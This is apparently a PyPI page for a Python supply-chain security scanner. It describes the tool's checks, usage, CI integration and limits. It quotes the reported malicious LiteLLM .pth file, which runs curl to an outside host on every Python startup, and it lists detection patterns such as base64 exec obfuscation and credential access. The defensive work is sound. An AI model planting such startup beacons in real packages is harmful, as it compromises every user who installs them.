Skip to main content

Security scanner for Python packages โ€” detects supply chain attacks before they execute

Project description

๐Ÿ›ก๏ธ chaincanary

Stop malicious Python packages before they execute.

CI PyPI version Python 3.9+ License: Apache 2.0


What happened

On March 24, 2026, LiteLLM 1.82.7 was published to PyPI with a hidden .pth file:

# litellm_init.pth โ€” executes on every Python startup
import subprocess, sys
subprocess.Popen(
    ['curl', '-s', 'https://models.litellm.cloud/beacon', '-d', sys.version],
    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
)

This file runs every time you start Python โ€” not just during pip install. It was downloaded ~95 million times per month. The package was flagged and removed, but not before significant exposure.

chaincanary was built to catch this.


Quick demo

pip install chaincanary

# Scan LiteLLM 1.82.7 (the compromised version)
chaincanary check litellm 1.82.7
๐Ÿ” chaincanary โ€” Analyzing litellm==1.82.7

โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚ Severity   โ”‚ Rule                         โ”‚ Title                                โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ CRITICAL   โ”‚ PTH_FILE_INSTALL             โ”‚ .pth file installs dangerous code... โ”‚
โ”‚ CRITICAL   โ”‚ PTH_NETWORK_BEACON           โ”‚ phone-home on every Python startup   โ”‚
โ”‚ CRITICAL   โ”‚ PTH_SUBPROCESS               โ”‚ subprocess on every Python startup   โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ

  Score: 10.0 / 10.0
  Verdict: โ–ˆโ–ˆ MALICIOUS

  Rollback: pip install litellm==1.82.6

Install

pip install chaincanary

Requires Python 3.9+. No Docker. No root. Works on Linux, macOS, Windows.


Usage

Scan a single package

chaincanary check requests 2.28.0
chaincanary check litellm latest

Audit your entire project

chaincanary audit requirements.txt
chaincanary audit pyproject.toml

Output:

๐Ÿ” chaincanary audit โ€” requirements.txt (42 packages)

Scanning packages... โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ 100%

โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚ Package          โ”‚ Version โ”‚ Score โ”‚ Verdict  โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ litellm          โ”‚ 1.82.7  โ”‚ 10.0  โ”‚ MALICIOUSโ”‚
โ”‚ suspicious-lib   โ”‚ 0.3.1   โ”‚  7.5  โ”‚ HIGH_RISKโ”‚
โ”‚ requests         โ”‚ 2.28.0  โ”‚  0.0  โ”‚ SAFE     โ”‚
โ”‚ ...              โ”‚ ...     โ”‚  0.0  โ”‚ SAFE     โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ

โœ— 2 package(s) failed the audit.

Compare two versions

chaincanary diff litellm 1.82.6 1.82.7
Version diff: litellm 1.82.6 โ†’ 1.82.7

  Added files:  litellm_init.pth   โ† NEW .pth file
  Removed:      (none)
  [CRITICAL] New .pth file with network beacon

Safe install

# Scans before installing, blocks if malicious
chaincanary install litellm==1.82.7

Recommended workflow

Use chaincanary install for individual packages and chaincanary audit in CI. Aliasing pip to chaincanary is not recommended โ€” it changes timing expectations (chaincanary downloads + scans before installing) and may break flags like -e . or -r.

# Individual package โ€” scan then install
chaincanary install requests==2.32.0

# CI โ€” scan all dependencies before deployment
chaincanary audit requirements.txt --fail-on HIGH_RISK

JSON output (for pipelines)

chaincanary check litellm 1.82.7 --json-output | jq '.verdict'
# "MALICIOUS"

chaincanary audit requirements.txt --json-output \
  | jq '.results[] | select(.verdict != "SAFE")'

GitHub Action

Add to any repo to block malicious packages on every push:

# .github/workflows/security.yml
name: Supply Chain Security

on: [push, pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Scan dependencies for supply chain attacks
        uses: allenenli/chaincanary@v0.1.0
        with:
          requirements: requirements.txt
          fail-on: MALICIOUS   # or HIGH_RISK for stricter mode

That's it. The action will fail your build if any package matches a known attack pattern.


What chaincanary detects

.pth attack (LiteLLM 1.82.7 pattern)

.pth files in Python site-packages execute on every interpreter startup โ€” not just during install. This makes them ideal for persistent backdoors.

chaincanary understands the difference:

.pth content Classification Finding
Empty Normal โœ“ silent
/usr/local/lib/... Path-only โœ“ silent
setuptools distutils shim Safe code โš  LOW
subprocess.Popen(['curl', ...]) Dangerous ๐Ÿ”ด CRITICAL

Other attack vectors

What Where Severity
Network call during pip install setup.py HIGH
Shell command during pip install setup.py HIGH
exec(base64.decode(...)) obfuscation anywhere HIGH
Network call on every import __init__.py MEDIUM
SSH / AWS credentials access anywhere HIGH
Path traversal in wheel zip .whl structure CRITICAL
Known malicious SHA256 hash .whl file CRITICAL

What chaincanary does NOT do

  • Does not install packages
  • Does not execute any package code
  • Does not require Docker or privileged access
  • Does not send package contents to any server
  • Does not replace pip โ€” it scans before you decide to install

How it works

pip install request      โ† your intent
      โ†“
chaincanary                 โ† intercepts
      โ†“
Download wheel (no install, no execute)
      โ†“
Static analysis:
  - Zip safety (path traversal, zip bomb)
  - .pth file semantic classifier
  - AST analysis of setup.py / install hooks
  - Obfuscation detection
  - __init__.py delayed-trigger scan
  - SHA256 hash database
      โ†“
Score 0โ€“10 โ†’ Verdict: SAFE / LOW_RISK / HIGH_RISK / MALICIOUS
      โ†“
Block or proceed

No sandboxing, no Docker, no kernel modules. Pure Python static analysis that runs in seconds.


Comparison

Tool Detection scope Behavioral .pth analysis No Docker Lockfile audit Speed
chaincanary Supply chain behavior โœ… semantic + content โœ… โœ… ~2s/pkg
pip-audit Known CVEs + dep confusion โŒ โœ… โœ… fast
Safety Known CVEs (advisory DB) โŒ โœ… โœ… fast
Trivy SBOM + CVEs (image/repo) โŒ โœ… โœ… slow
Bandit SAST (your source code) โŒ โœ… โŒ fast
socket.dev Publish-time behavior diff partial โœ… โœ… fast

chaincanary is not a CVE scanner โ€” it doesn't check advisory databases. It's a behavioral scanner: it looks at what a package does, not whether it appears in a known-bad list. Use it alongside pip-audit/Safety for full coverage.


Known Limitations

chaincanary is a static behavioral scanner, not a magic bullet. Know its blind spots:

Gap What it means Workaround
No C extension analysis Malicious .so/.pyd files aren't scanned Sandbox (v0.3)
No CVE database Won't catch known vulnerabilities Use alongside pip-audit
No dynamic sandbox Side-effects on import not executed Static signals only (for now)
Multi-stage payloads Pkg that downloads payload at runtime looks clean Network monitoring (v0.3)
Private registries Can't download from non-public PyPI mirrors --offline flag (v0.2)

โ†’ Full limitation table: ROADMAP.md#known-limitations


Roadmap

Version Theme ETA
post-0.1 Scoring fixes, DNS exfil, typosquatting, git deps โœ… done
v0.2 Hash feed, SARIF output, --timeout, pre-commit hook soon
v0.3 Lightweight sandbox, package reputation, npm/cargo later

โ†’ Full plan: ROADMAP.md


Contributing

git clone https://github.com/allenenli/chaincanary
cd chaincanary
pip install -e ".[dev]"
pytest tests/

PRs welcome โ€” especially:

  • New malicious hash signatures
  • Detection rules for new attack patterns
  • False positive reports (real packages that chaincanary misflags)

License

Apache 2.0. See LICENSE.


Built after the LiteLLM supply chain attack, March 2026.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

chaincanary-0.1.1.tar.gz (41.4 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

chaincanary-0.1.1-py3-none-any.whl (39.6 kB view details)

Uploaded Python 3

File details

Details for the file chaincanary-0.1.1.tar.gz.

File metadata

  • Download URL: chaincanary-0.1.1.tar.gz
  • Upload date:
  • Size: 41.4 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for chaincanary-0.1.1.tar.gz
Algorithm Hash digest
SHA256 f1f858d5b4614a1292fce29f92f26844eb57bcd883b1a7b71d57b2f93dcac681
MD5 36c781b8c03e5357d2d4ecc450ee9034
BLAKE2b-256 91659c932a47c2ea9fe7a59b66753ff3a9c907437a190dbe9cd8cd0cf5c11c63

See more details on using hashes here.

Provenance

The following attestation bundles were made for chaincanary-0.1.1.tar.gz:

Publisher: release.yml on AetherCore-Dev/chaincanary

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file chaincanary-0.1.1-py3-none-any.whl.

File metadata

  • Download URL: chaincanary-0.1.1-py3-none-any.whl
  • Upload date:
  • Size: 39.6 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for chaincanary-0.1.1-py3-none-any.whl
Algorithm Hash digest
SHA256 b46ab79e8b124fc313fc1f756cfda6a4cf010c2e65fe05300a2273b32083ea40
MD5 acd266db2cde879b025a6c4df51cf619
BLAKE2b-256 8832f1190b8f14c6a0fc22f87438ec0540c139d4cb71dcc15d67b1ecfd46c1d5

See more details on using hashes here.

Provenance

The following attestation bundles were made for chaincanary-0.1.1-py3-none-any.whl:

Publisher: release.yml on AetherCore-Dev/chaincanary

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page